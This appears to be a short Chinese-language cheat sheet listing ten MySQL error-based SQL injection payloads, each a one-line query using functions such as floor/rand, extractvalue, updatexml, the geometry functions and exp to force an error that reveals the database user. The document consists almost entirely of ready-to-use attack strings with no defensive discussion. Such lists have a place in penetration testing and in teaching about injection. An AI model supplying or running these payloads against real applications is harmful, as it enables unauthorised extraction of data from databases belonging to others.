十种MySQL报错注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);



2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));



3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));



4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));



5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));



6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));



7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));



8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));



9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));



10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));